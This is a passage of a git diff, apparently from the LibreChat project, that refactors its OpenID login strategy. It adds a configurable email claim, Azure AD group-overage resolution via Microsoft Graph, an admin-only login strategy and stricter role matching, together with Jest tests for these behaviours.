+
+ openIdJwtLogin(mockOpenIdConfig);
+ });
+
+ afterEach(() => {
+ delete process.env.OPENID_EMAIL_CLAIM;
+ });
+
+ it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
+ const existingUser = {
+ _id: 'user-id-1',
+ provider: 'openid',
+ openidId: payload.sub,
+ email: payload.email,
+ role: SystemRoles.USER,
+ };
+ findUser.mockImplementation(async (query) => {
+ if (query.$or && query.$or.some((c) => c.openidId === payload.sub)) {
+ return existingUser;
+ }
+ return null;
+ });
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith(
+ expect.objectContaining({
+ $or: expect.arrayContaining([{ openidId: payload.sub }]),
+ }),
+ );
+ });
+
+ it('should use OPENID_EMAIL_CLAIM when set for email lookup', async () => {
+ process.env.OPENID_EMAIL_CLAIM = 'upn';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledTimes(2);
+ expect(findUser.mock.calls[0][0]).toMatchObject({
+ $or: expect.arrayContaining([{ openidId: payload.sub }]),
+ });
+ expect(findUser.mock.calls[1][0]).toEqual({ email: 'test@corp.example.com' });
+ expect(user).toBe(false);
+ });
+
+ it('should fall back to default chain when OPENID_EMAIL_CLAIM points to missing claim', async () => {
+ process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+ expect(user).toBe(false);
+ });
+
+ it('should trim whitespace from OPENID_EMAIL_CLAIM', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' upn ';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: 'test@corp.example.com' });
+ });
+
+ it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = '';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+ });
+
+ it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
+ process.env.OPENID_EMAIL_CLAIM = ' ';
+ findUser.mockResolvedValue(null);
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ await invokeVerify(req, payload);
+
+ expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+ });
+
+ it('should resolve undefined email when payload is null', async () => {
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, null);
+
+ expect(user).toBe(false);
+ });
+
+ it('should attempt email lookup via preferred_username fallback when email claim is absent', async () => {
+ const payloadNoEmail = {
+ sub: 'oidc-new-sub',
+ preferred_username: 'legacy@corp.com',
+ upn: 'legacy@corp.com',
+ exp: 9999999999,
+ };
+
+ const legacyUser = {
+ _id: 'legacy-db-id',
+ email: 'legacy@corp.com',
+ openidId: null,
+ role: SystemRoles.USER,
+ };
+
+ findUser.mockImplementation(async (query) => {
+ if (query.$or) {
+ return null;
+ }
+ if (query.email === 'legacy@corp.com') {
+ return legacyUser;
+ }
+ return null;
+ });
+
+ const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+ const { user } = await invokeVerify(req, payloadNoEmail);
+
+ expect(findUser).toHaveBeenCalledTimes(2);
+ expect(findUser.mock.calls[1][0]).toEqual({ email: 'legacy@corp.com' });
+ expect(user).toBeTruthy();
+ expect(updateUser).toHaveBeenCalledWith(
+ 'legacy-db-id',
+ expect.objectContaining({ provider: 'openid', openidId: payloadNoEmail.sub }),
+ );
+ });
+});
diff --git a/api/strategies/openidStrategy.js b/api/strategies/openidStrategy.js
index a4369e601b..0ebdcb04e1 100644
--- a/api/strategies/openidStrategy.js
+++ b/api/strategies/openidStrategy.js
@@ -6,8 +6,8 @@ const client = require('openid-client');
const jwtDecode = require('jsonwebtoken/decode');
const { HttpsProxyAgent } = require('https-proxy-agent');
const { hashToken, logger } = require('@librechat/data-schemas');
-const { CacheKeys, ErrorTypes } = require('librechat-data-provider');
const { Strategy: OpenIDStrategy } = require('openid-client/passport');
+const { CacheKeys, ErrorTypes, SystemRoles } = require('librechat-data-provider');
const {
isEnabled,
logHeaders,
@@ -267,6 +267,34 @@ function getFullName(userinfo) {
return userinfo.username || userinfo.email;
}
+/**
+ * Resolves the user identifier from OpenID claims.
+ * Configurable via OPENID_EMAIL_CLAIM; defaults to: email -> preferred_username -> upn.
+ *
+ * @param {Object} userinfo - The user information object from OpenID Connect
+ * @returns {string|undefined} The resolved identifier string
+ */
+function getOpenIdEmail(userinfo) {
+ const claimKey = process.env.OPENID_EMAIL_CLAIM?.trim();
+ if (claimKey) {
+ const value = userinfo[claimKey];
+ if (typeof value === 'string' && value) {
+ return value;
+ }
+ if (value !== undefined && value !== null) {
+ logger.warn(
+ `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" resolved to a non-string value (type: ${typeof value}). Falling back to: email -> preferred_username -> upn.`,
+ );
+ } else {
+ logger.warn(
+ `[openidStrategy] OPENID_EMAIL_CLAIM="${claimKey}" not present in userinfo. Falling back to: email -> preferred_username -> upn.`,
+ );
+ }
+ }
+ const fallback = userinfo.email || userinfo.preferred_username || userinfo.upn;
+ return typeof fallback === 'string' ? fallback : undefined;
+}
+
/**
* Converts an input into a string suitable for a username.
* If the input is a string, it will be returned as is.
@@ -287,6 +315,367 @@ function convertToUsername(input, defaultValue = '') {
return defaultValue;
}
+/**
+ * Resolve Azure AD groups when group overage is in effect (groups moved to _claim_names/_claim_sources).
+ *
+ * NOTE: Microsoft recommends treating _claim_names/_claim_sources as a signal only and using Microsoft Graph
+ * to resolve group membership instead of calling the endpoint in _claim_sources directly.
+ *
+ * @param {string} accessToken - Access token with Microsoft Graph permissions
+ * @returns {Promise} Resolved group IDs or null on failure
+ * @see https://learn.microsoft.com/en-us/entra/identity-platform/access-token-claims-reference#groups-overage-claim
+ * @see https://learn.microsoft.com/en-us/graph/api/directoryobject-getmemberobjects
+ */
+async function resolveGroupsFromOverage(accessToken) {
+ try {
+ if (!accessToken) {
+ logger.error('[openidStrategy] Access token missing; cannot resolve group overage');
+ return null;
+ }
+
+ // Use /me/getMemberObjects so least-privileged delegated permission User.Read is sufficient
+ // when resolving the signed-in user's group membership.
+ const url = 'https://graph.microsoft.com/v1.0/me/getMemberObjects';
+
+ logger.debug(
+ `[openidStrategy] Detected group overage, resolving groups via Microsoft Graph getMemberObjects: ${url}`,
+ );
+
+ const fetchOptions = {
+ method: 'POST',
+ headers: {
+ Authorization: `Bearer ${accessToken}`,
+ 'Content-Type': 'application/json',
+ },
+ body: JSON.stringify({ securityEnabledOnly: false }),
+ };
+
+ if (process.env.PROXY) {
+ const { ProxyAgent } = undici;
+ fetchOptions.dispatcher = new ProxyAgent(process.env.PROXY);
+ }
+
+ const response = await undici.fetch(url, fetchOptions);
+ if (!response.ok) {
+ logger.error(
+ `[openidStrategy] Failed to resolve groups via Microsoft Graph getMemberObjects: HTTP ${response.status} ${response.statusText}`,
+ );
+ return null;
+ }
+
+ const data = await response.json();
+ const values = Array.isArray(data?.value) ? data.value : null;
+ if (!values) {
+ logger.error(
+ '[openidStrategy] Unexpected response format when resolving groups via Microsoft Graph getMemberObjects',
+ );
+ return null;
+ }
+ const groupIds = values.filter((id) => typeof id === 'string');
+
+ logger.debug(
+ `[openidStrategy] Successfully resolved ${groupIds.length} groups via Microsoft Graph getMemberObjects`,
+ );
+ return groupIds;
+ } catch (err) {
+ logger.error(
+ '[openidStrategy] Error resolving groups via Microsoft Graph getMemberObjects:',
+ err,
+ );
+ return null;
+ }
+}
+
+/**
+ * Process OpenID authentication tokenset and userinfo
+ * This is the core logic extracted from the passport strategy callback
+ * Can be reused by both the passport strategy and proxy authentication
+ *
+ * @param {Object} tokenset - The OpenID tokenset containing access_token, id_token, etc.
+ * @param {boolean} existingUsersOnly - If true, only existing users will be processed
+ * @returns {Promise} The authenticated user object with tokenset
+ */
+async function processOpenIDAuth(tokenset, existingUsersOnly = false) {
+ const claims = tokenset.claims ? tokenset.claims() : tokenset;
+ const userinfo = {
+ ...claims,
+ };
+
+ if (tokenset.access_token) {
+ const providerUserinfo = await getUserInfo(openidConfig, tokenset.access_token, claims.sub);
+ Object.assign(userinfo, providerUserinfo);
+ }
+
+ const appConfig = await getAppConfig();
+ const email = getOpenIdEmail(userinfo);
+ if (!isEmailDomainAllowed(email, appConfig?.registration?.allowedDomains)) {
+ logger.error(
+ `[OpenID Strategy] Authentication blocked - email domain not allowed [Identifier: ${email}]`,
+ );
+ throw new Error('Email domain not allowed');
+ }
+
+ const result = await findOpenIDUser({
+ findUser,
+ email: email,
+ openidId: claims.sub || userinfo.sub,
+ idOnTheSource: claims.oid || userinfo.oid,
+ strategyName: 'openidStrategy',
+ });
+ let user = result.user;
+ const error = result.error;
+
+ if (error) {
+ throw new Error(ErrorTypes.AUTH_FAILED);
+ }
+
+ const fullName = getFullName(userinfo);
+
+ const requiredRole = process.env.OPENID_REQUIRED_ROLE;
+ if (requiredRole) {
+ const requiredRoles = requiredRole
+ .split(',')
+ .map((role) => role.trim())
+ .filter(Boolean);
+ const requiredRoleParameterPath = process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH;
+ const requiredRoleTokenKind = process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND;
+
+ let decodedToken = '';
+ if (requiredRoleTokenKind === 'access' && tokenset.access_token) {
+ decodedToken = jwtDecode(tokenset.access_token);
+ } else if (requiredRoleTokenKind === 'id' && tokenset.id_token) {
+ decodedToken = jwtDecode(tokenset.id_token);
+ }
+
+ let roles = get(decodedToken, requiredRoleParameterPath);
+
+ // Handle Azure AD group overage for ID token groups: when hasgroups or _claim_* indicate overage,
+ // resolve groups via Microsoft Graph instead of relying on token group values.
+ if (
+ !Array.isArray(roles) &&
+ typeof roles !== 'string' &&
+ requiredRoleTokenKind === 'id' &&
+ requiredRoleParameterPath === 'groups' &&
+ decodedToken &&
+ (decodedToken.hasgroups ||
+ (decodedToken._claim_names?.groups &&
+ decodedToken._claim_sources?.[decodedToken._claim_names.groups]))
+ ) {
+ const overageGroups = await resolveGroupsFromOverage(tokenset.access_token);
+ if (overageGroups) {
+ roles = overageGroups;
+ }
+ }
+
+ if (!roles || (!Array.isArray(roles) && typeof roles !== 'string')) {
+ logger.error(
+ `[openidStrategy] Key '${requiredRoleParameterPath}' not found in ${requiredRoleTokenKind} token!`,
+ );
+ const rolesList =
+ requiredRoles.length === 1
+ ? `"${requiredRoles[0]}"`
+ : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`;
+ throw new Error(`You must have ${rolesList} role to log in.`);
+ }
+
+ const roleValues = Array.isArray(roles) ? roles : roles.split(/[\s,]+/).filter(Boolean);
+
+ if (!requiredRoles.some((role) => roleValues.includes(role))) {
+ const rolesList =
+ requiredRoles.length === 1
+ ? `"${requiredRoles[0]}"`
+ : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`;
+ throw new Error(`You must have ${rolesList} role to log in.`);
+ }
+ }
+
+ let username = '';
+ if (process.env.OPENID_USERNAME_CLAIM) {
+ username = userinfo[process.env.OPENID_USERNAME_CLAIM];
+ } else {
+ username = convertToUsername(
+ userinfo.preferred_username || userinfo.username || userinfo.email,
+ );
+ }
+
+ if (existingUsersOnly && !user) {
+ throw new Error('User does not exist');
+ }
+
+ if (!user) {
+ user = {
+ provider: 'openid',
+ openidId: userinfo.sub,
+ username,
+ email: email || '',
+ emailVerified: userinfo.email_verified || false,
+ name: fullName,
+ idOnTheSource: userinfo.oid,
+ };
+
+ const balanceConfig = getBalanceConfig(appConfig);
+ user = await createUser(user, balanceConfig, true, true);
+ } else {
+ user.provider = 'openid';
+ user.openidId = userinfo.sub;
+ user.username = username;
+ user.name = fullName;
+ user.idOnTheSource = userinfo.oid;
+ if (email && email !== user.email) {
+ user.email = email;
+ user.emailVerified = userinfo.email_verified || false;
+ }
+ }
+
+ const adminRole = process.env.OPENID_ADMIN_ROLE;
+ const adminRoleParameterPath = process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH;
+ const adminRoleTokenKind = process.env.OPENID_ADMIN_ROLE_TOKEN_KIND;
+
+ if (adminRole && adminRoleParameterPath && adminRoleTokenKind) {
+ let adminRoleObject;
+ switch (adminRoleTokenKind) {
+ case 'access':
+ adminRoleObject = jwtDecode(tokenset.access_token);
+ break;
+ case 'id':
+ adminRoleObject = jwtDecode(tokenset.id_token);
+ break;
+ case 'userinfo':
+ adminRoleObject = userinfo;
+ break;
+ default:
+ logger.error(
+ `[openidStrategy] Invalid admin role token kind: ${adminRoleTokenKind}. Must be one of 'access', 'id', or 'userinfo'.`,
+ );
+ throw new Error('Invalid admin role token kind');
+ }
+
+ const adminRoles = get(adminRoleObject, adminRoleParameterPath);
+ let adminRoleValues = [];
+ if (Array.isArray(adminRoles)) {
+ adminRoleValues = adminRoles;
+ } else if (typeof adminRoles === 'string') {
+ adminRoleValues = adminRoles.split(/[\s,]+/).filter(Boolean);
+ }
+
+ if (adminRoles && (adminRoles === true || adminRoleValues.includes(adminRole))) {
+ user.role = SystemRoles.ADMIN;
+ logger.info(`[openidStrategy] User ${username} is an admin based on role: ${adminRole}`);
+ } else if (user.role === SystemRoles.ADMIN) {
+ user.role = SystemRoles.USER;
+ logger.info(
+ `[openidStrategy] User ${username} demoted from admin - role no longer present in token`,
+ );
+ }
+ }
+
+ if (!!userinfo && userinfo.picture && !user.avatar?.includes('manual=true')) {
+ /** @type {string | undefined} */
+ const imageUrl = userinfo.picture;
+
+ let fileName;
+ if (crypto) {
+ fileName = (await hashToken(userinfo.sub)) + '.png';
+ } else {
+ fileName = userinfo.sub + '.png';
+ }
+
+ const imageBuffer = await downloadImage(
+ imageUrl,
+ openidConfig,
+ tokenset.access_token,
+ userinfo.sub,
+ );
+ if (imageBuffer) {
+ const { saveBuffer } = getStrategyFunctions(
+ appConfig?.fileStrategy ?? process.env.CDN_PROVIDER,
+ );
+ const imagePath = await saveBuffer({
+ fileName,
+ userId: user._id.toString(),
+ buffer: imageBuffer,
+ });
+ user.avatar = imagePath ?? '';
+ }
+ }
+
+ user = await updateUser(user._id, user);
+
+ logger.info(
+ `[openidStrategy] login success openidId: ${user.openidId} | email: ${user.email} | username: ${user.username} `,
+ {
+ user: {
+ openidId: user.openidId,
+ username: user.username,
+ email: user.email,
+ name: user.name,
+ },
+ },
+ );
+
+ return {
+ ...user,
+ tokenset,
+ federatedTokens: {
+ access_token: tokenset.access_token,
+ id_token: tokenset.id_token,
+ refresh_token: tokenset.refresh_token,
+ expires_at: tokenset.expires_at,
+ },
+ };
+}
+
+/**
+ * @param {boolean | undefined} [existingUsersOnly]
+ */
+function createOpenIDCallback(existingUsersOnly) {
+ return async (tokenset, done) => {
+ try {
+ const user = await processOpenIDAuth(tokenset, existingUsersOnly);
+ done(null, user);
+ } catch (err) {
+ if (err.message === 'Email domain not allowed') {
+ return done(null, false, { message: err.message });
+ }
+ if (err.message === ErrorTypes.AUTH_FAILED) {
+ return done(null, false, { message: err.message });
+ }
+ if (err.message && err.message.includes('role to log in')) {
+ return done(null, false, { message: err.message });
+ }
+ logger.error('[openidStrategy] login failed', err);
+ done(err);
+ }
+ };
+}
+
+/**
+ * Sets up the OpenID strategy specifically for admin authentication.
+ * @param {Configuration} openidConfig
+ */
+const setupOpenIdAdmin = (openidConfig) => {
+ try {
+ if (!openidConfig) {
+ throw new Error('OpenID configuration not initialized');
+ }
+
+ const openidAdminLogin = new CustomOpenIDStrategy(
+ {
+ config: openidConfig,
+ scope: process.env.OPENID_SCOPE,
+ usePKCE: isEnabled(process.env.OPENID_USE_PKCE),
+ clockTolerance: process.env.OPENID_CLOCK_TOLERANCE || 300,
+ callbackURL: process.env.DOMAIN_SERVER + '/api/admin/oauth/openid/callback',
+ },
+ createOpenIDCallback(true),
+ );
+
+ passport.use('openidAdmin', openidAdminLogin);
+ } catch (err) {
+ logger.error('[openidStrategy] setupOpenIdAdmin', err);
+ }
+};
+
/**
* Sets up the OpenID strategy for authentication.
* This function configures the OpenID client, handles proxy settings,
@@ -324,10 +713,6 @@ async function setupOpenId() {
},
);
- const requiredRole = process.env.OPENID_REQUIRED_ROLE;
- const requiredRoleParameterPath = process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH;
- const requiredRoleTokenKind = process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND;
- const usePKCE = isEnabled(process.env.OPENID_USE_PKCE);
logger.info(`[openidStrategy] OpenID authentication configuration`, {
generateNonce: shouldGenerateNonce,
reason: shouldGenerateNonce
@@ -335,241 +720,25 @@ async function setupOpenId() {
: 'OPENID_GENERATE_NONCE=false - Standard flow without explicit nonce or metadata',
});
- // Set of env variables that specify how to set if a user is an admin
- // If not set, all users will be treated as regular users
- const adminRole = process.env.OPENID_ADMIN_ROLE;
- const adminRoleParameterPath = process.env.OPENID_ADMIN_ROLE_PARAMETER_PATH;
- const adminRoleTokenKind = process.env.OPENID_ADMIN_ROLE_TOKEN_KIND;
-
const openidLogin = new CustomOpenIDStrategy(
{
config: openidConfig,
scope: process.env.OPENID_SCOPE,
callbackURL: process.env.DOMAIN_SERVER + process.env.OPENID_CALLBACK_URL,
clockTolerance: process.env.OPENID_CLOCK_TOLERANCE || 300,
- usePKCE,
- },
- /**
- * @param {import('openid-client').TokenEndpointResponseHelpers} tokenset
- * @param {import('passport-jwt').VerifyCallback} done
- */
- async (tokenset, done) => {
- try {
- const claims = tokenset.claims();
- const userinfo = {
- ...claims,
- ...(await getUserInfo(openidConfig, tokenset.access_token, claims.sub)),
- };
-
- const appConfig = await getAppConfig();
- /** Azure AD sometimes doesn't return email, use preferred_username as fallback */
- const email = userinfo.email || userinfo.preferred_username || userinfo.upn;
- if (!isEmailDomainAllowed(email, appConfig?.registration?.allowedDomains)) {
- logger.error(
- `[OpenID Strategy] Authentication blocked - email domain not allowed [Email: ${email}]`,
- );
- return done(null, false, { message: 'Email domain not allowed' });
- }
-
- const result = await findOpenIDUser({
- findUser,
- email: email,
- openidId: claims.sub,
- idOnTheSource: claims.oid,
- strategyName: 'openidStrategy',
- });
- let user = result.user;
- const error = result.error;
-
- if (error) {
- return done(null, false, {
- message: ErrorTypes.AUTH_FAILED,
- });
- }
-
- const fullName = getFullName(userinfo);
-
- if (requiredRole) {
- const requiredRoles = requiredRole
- .split(',')
- .map((role) => role.trim())
- .filter(Boolean);
- let decodedToken = '';
- if (requiredRoleTokenKind === 'access') {
- decodedToken = jwtDecode(tokenset.access_token);
- } else if (requiredRoleTokenKind === 'id') {
- decodedToken = jwtDecode(tokenset.id_token);
- }
-
- let roles = get(decodedToken, requiredRoleParameterPath);
- if (!roles || (!Array.isArray(roles) && typeof roles !== 'string')) {
- logger.error(
- `[openidStrategy] Key '${requiredRoleParameterPath}' not found or invalid type in ${requiredRoleTokenKind} token!`,
- );
- const rolesList =
- requiredRoles.length === 1
- ? `"${requiredRoles[0]}"`
- : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`;
- return done(null, false, {
- message: `You must have ${rolesList} role to log in.`,
- });
- }
-
- if (!requiredRoles.some((role) => roles.includes(role))) {
- const rolesList =
- requiredRoles.length === 1
- ? `"${requiredRoles[0]}"`
- : `one of: ${requiredRoles.map((r) => `"${r}"`).join(', ')}`;
- return done(null, false, {
- message: `You must have ${rolesList} role to log in.`,
- });
- }
- }
-
- let username = '';
- if (process.env.OPENID_USERNAME_CLAIM) {
- username = userinfo[process.env.OPENID_USERNAME_CLAIM];
- } else {
- username = convertToUsername(
- userinfo.preferred_username || userinfo.username || userinfo.email,
- );
- }
-
- if (!user) {
- user = {
- provider: 'openid',
- openidId: userinfo.sub,
- username,
- email: email || '',
- emailVerified: userinfo.email_verified || false,
- name: fullName,
- idOnTheSource: userinfo.oid,
- };
-
- const balanceConfig = getBalanceConfig(appConfig);
- user = await createUser(user, balanceConfig, true, true);
- } else {
- user.provider = 'openid';
- user.openidId = userinfo.sub;
- user.username = username;
- user.name = fullName;
- user.idOnTheSource = userinfo.oid;
- if (email && email !== user.email) {
- user.email = email;
- user.emailVerified = userinfo.email_verified || false;
- }
- }
-
- if (adminRole && adminRoleParameterPath && adminRoleTokenKind) {
- let adminRoleObject;
- switch (adminRoleTokenKind) {
- case 'access':
- adminRoleObject = jwtDecode(tokenset.access_token);
- break;
- case 'id':
- adminRoleObject = jwtDecode(tokenset.id_token);
- break;
- case 'userinfo':
- adminRoleObject = userinfo;
- break;
- default:
- logger.error(
- `[openidStrategy] Invalid admin role token kind: ${adminRoleTokenKind}. Must be one of 'access', 'id', or 'userinfo'.`,
- );
- return done(new Error('Invalid admin role token kind'));
- }
-
- const adminRoles = get(adminRoleObject, adminRoleParameterPath);
-
- // Accept 3 types of values for the object extracted from adminRoleParameterPath:
- // 1. A boolean value indicating if the user is an admin
- // 2. A string with a single role name
- // 3. An array of role names
-
- if (
- adminRoles &&
- (adminRoles === true ||
- adminRoles === adminRole ||
- (Array.isArray(adminRoles) && adminRoles.includes(adminRole)))
- ) {
- user.role = 'ADMIN';
- logger.info(
- `[openidStrategy] User ${username} is an admin based on role: ${adminRole}`,
- );
- } else if (user.role === 'ADMIN') {
- user.role = 'USER';
- logger.info(
- `[openidStrategy] User ${username} demoted from admin - role no longer present in token`,
- );
- }
- }
-
- if (!!userinfo && userinfo.picture && !user.avatar?.includes('manual=true')) {
- /** @type {string | undefined} */
- const imageUrl = userinfo.picture;
-
- let fileName;
- if (crypto) {
- fileName = (await hashToken(userinfo.sub)) + '.png';
- } else {
- fileName = userinfo.sub + '.png';
- }
-
- const imageBuffer = await downloadImage(
- imageUrl,
- openidConfig,
- tokenset.access_token,
- userinfo.sub,
- );
- if (imageBuffer) {
- const { saveBuffer } = getStrategyFunctions(
- appConfig?.fileStrategy ?? process.env.CDN_PROVIDER,
- );
- const imagePath = await saveBuffer({
- fileName,
- userId: user._id.toString(),
- buffer: imageBuffer,
- });
- user.avatar = imagePath ?? '';
- }
- }
-
- user = await updateUser(user._id, user);
-
- logger.info(
- `[openidStrategy] login success openidId: ${user.openidId} | email: ${user.email} | username: ${user.username} `,
- {
- user: {
- openidId: user.openidId,
- username: user.username,
- email: user.email,
- name: user.name,
- },
- },
- );
-
- done(null, {
- ...user,
- tokenset,
- federatedTokens: {
- access_token: tokenset.access_token,
- refresh_token: tokenset.refresh_token,
- expires_at: tokenset.expires_at,
- },
- });
- } catch (err) {
- logger.error('[openidStrategy] login failed', err);
- done(err);
- }
+ usePKCE: isEnabled(process.env.OPENID_USE_PKCE),
},
+ createOpenIDCallback(),
);
passport.use('openid', openidLogin);
+ setupOpenIdAdmin(openidConfig);
return openidConfig;
} catch (err) {
logger.error('[openidStrategy]', err);
return null;
}
}
+
/**
* @function getOpenIdConfig
* @description Returns the OpenID client instance.
@@ -586,4 +755,5 @@ function getOpenIdConfig() {
module.exports = {
setupOpenId,
getOpenIdConfig,
+ getOpenIdEmail,
};
diff --git a/api/strategies/openidStrategy.spec.js b/api/strategies/openidStrategy.spec.js
index 9ac22ff42f..485b77829e 100644
--- a/api/strategies/openidStrategy.spec.js
+++ b/api/strategies/openidStrategy.spec.js
@@ -1,3 +1,4 @@
+const undici = require('undici');
const fetch = require('node-fetch');
const jwtDecode = require('jsonwebtoken/decode');
const { ErrorTypes } = require('librechat-data-provider');
@@ -7,6 +8,10 @@ const { setupOpenId } = require('./openidStrategy');
// --- Mocks ---
jest.mock('node-fetch');
jest.mock('jsonwebtoken/decode');
+jest.mock('undici', () => ({
+ fetch: jest.fn(),
+ ProxyAgent: jest.fn(),
+}));
jest.mock('~/server/services/Files/strategies', () => ({
getStrategyFunctions: jest.fn(() => ({
saveBuffer: jest.fn().mockResolvedValue('/fake/path/to/avatar.png'),
@@ -64,21 +69,36 @@ jest.mock('openid-client', () => {
});
jest.mock('openid-client/passport', () => {
- let verifyCallback;
+ /** Store callbacks by strategy name - 'openid' and 'openidAdmin' */
+ const verifyCallbacks = {};
+ let lastVerifyCallback;
+
const mockStrategy = jest.fn((options, verify) => {
- verifyCallback = verify;
+ lastVerifyCallback = verify;
return { name: 'openid', options, verify };
});
return {
Strategy: mockStrategy,
- __getVerifyCallback: () => verifyCallback,
+ /** Get the last registered callback (for backward compatibility) */
+ __getVerifyCallback: () => lastVerifyCallback,
+ /** Store callback by name when passport.use is called */
+ __setVerifyCallback: (name, callback) => {
+ verifyCallbacks[name] = callback;
+ },
+ /** Get callback by strategy name */
+ __getVerifyCallbackByName: (name) => verifyCallbacks[name],
};
});
-// Mock passport
+// Mock passport - capture strategy name and callback
jest.mock('passport', () => ({
- use: jest.fn(),
+ use: jest.fn((name, strategy) => {
+ const passportMock = require('openid-client/passport');
+ if (strategy && strategy.verify) {
+ passportMock.__setVerifyCallback(name, strategy.verify);
+ }
+ }),
}));
describe('setupOpenId', () => {
@@ -132,6 +152,7 @@ describe('setupOpenId', () => {
process.env.OPENID_ADMIN_ROLE_TOKEN_KIND = 'id';
delete process.env.OPENID_USERNAME_CLAIM;
delete process.env.OPENID_NAME_CLAIM;
+ delete process.env.OPENID_EMAIL_CLAIM;
delete process.env.PROXY;
delete process.env.OPENID_USE_PKCE;
@@ -159,9 +180,10 @@ describe('setupOpenId', () => {
};
fetch.mockResolvedValue(fakeResponse);
- // Call the setup function and capture the verify callback
+ // Call the setup function and capture the verify callback for the regular 'openid' strategy
+ // (not 'openidAdmin' which requires existing users)
await setupOpenId();
- verifyCallback = require('openid-client/passport').__getVerifyCallback();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
});
it('should create a new user with correct username when preferred_username claim exists', async () => {
@@ -344,6 +366,81 @@ describe('setupOpenId', () => {
expect(details.message).toBe('You must have "requiredRole" role to log in.');
});
+ it('should not treat substring matches in string roles as satisfying required role', async () => {
+ // Arrange – override required role to "read" then re-setup
+ process.env.OPENID_REQUIRED_ROLE = 'read';
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ // Token contains "bread" which *contains* "read" as a substring
+ jwtDecode.mockReturnValue({
+ roles: 'bread',
+ });
+
+ // Act
+ const { user, details } = await validate(tokenset);
+
+ // Assert – verify that substring match does not grant access
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "read" role to log in.');
+ });
+
+ it('should allow login when roles claim is a space-separated string containing the required role', async () => {
+ // Arrange – IdP returns roles as a space-delimited string
+ jwtDecode.mockReturnValue({
+ roles: 'role1 role2 requiredRole',
+ });
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – login succeeds when required role is present after splitting
+ expect(user).toBeTruthy();
+ expect(createUser).toHaveBeenCalled();
+ });
+
+ it('should allow login when roles claim is a comma-separated string containing the required role', async () => {
+ // Arrange – IdP returns roles as a comma-delimited string
+ jwtDecode.mockReturnValue({
+ roles: 'role1,role2,requiredRole',
+ });
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – login succeeds when required role is present after splitting
+ expect(user).toBeTruthy();
+ expect(createUser).toHaveBeenCalled();
+ });
+
+ it('should allow login when roles claim is a mixed comma-and-space-separated string containing the required role', async () => {
+ // Arrange – IdP returns roles with comma-and-space delimiters
+ jwtDecode.mockReturnValue({
+ roles: 'role1, role2, requiredRole',
+ });
+
+ // Act
+ const { user } = await validate(tokenset);
+
+ // Assert – login succeeds when required role is present after splitting
+ expect(user).toBeTruthy();
+ expect(createUser).toHaveBeenCalled();
+ });
+
+ it('should reject login when roles claim is a space-separated string that does not contain the required role', async () => {
+ // Arrange – IdP returns a delimited string but required role is absent
+ jwtDecode.mockReturnValue({
+ roles: 'role1 role2 otherRole',
+ });
+
+ // Act
+ const { user, details } = await validate(tokenset);
+
+ // Assert – login is rejected with the correct error message
+ expect(user).toBe(false);
+ expect(details.message).toBe('You must have "requiredRole" role to log in.');
+ });
+
it('should allow login when single required role is present (backward compatibility)', async () => {
// Arrange – ensure single role configuration (as set in beforeEach)
// OPENID_REQUIRED_ROLE = 'requiredRole'
@@ -362,6 +459,292 @@ describe('setupOpenId', () => {
expect(createUser).toHaveBeenCalled();
});
+ describe('group overage and groups handling', () => {
+ it.each([
+ ['groups array contains required group', ['group-required', 'other-group'], true, undefined],
+ [
+ 'groups array missing required group',
+ ['other-group'],
+ false,
+ 'You must have "group-required" role to log in.',
+ ],
+ ['groups string equals required group', 'group-required', true, undefined],
+ [
+ 'groups string is other group',
+ 'other-group',
+ false,
+ 'You must have "group-required" role to log in.',
+ ],
+ ])(
+ 'uses groups claim directly when %s (no overage)',
+ async (_label, groupsClaim, expectedAllowed, expectedMessage) => {
+ process.env.OPENID_REQUIRED_ROLE = 'group-required';
+ process.env.OPENID_REQUIRED_ROLE_PARAMETER_PATH = 'groups';
+ process.env.OPENID_REQUIRED_ROLE_TOKEN_KIND = 'id';
+
+ jwtDecode.mockReturnValue({
+ groups: groupsClaim,
+ permissions: ['admin'],
+ });
+
+ await setupOpenId();
+ verifyCallback = require('openid-client/passport').__getVerifyCallbackByName('openid');
+
+ const { user, details } = await validate(tokenset);
+
+ expect(undici.fetch).not.toHaveBeenCalled();
+ expect(Boolean(user)).toBe(expectedAllowed);
+ expect(details?.message).toBe(expectedMessage);
+ },
+ );
+
+ it.each([
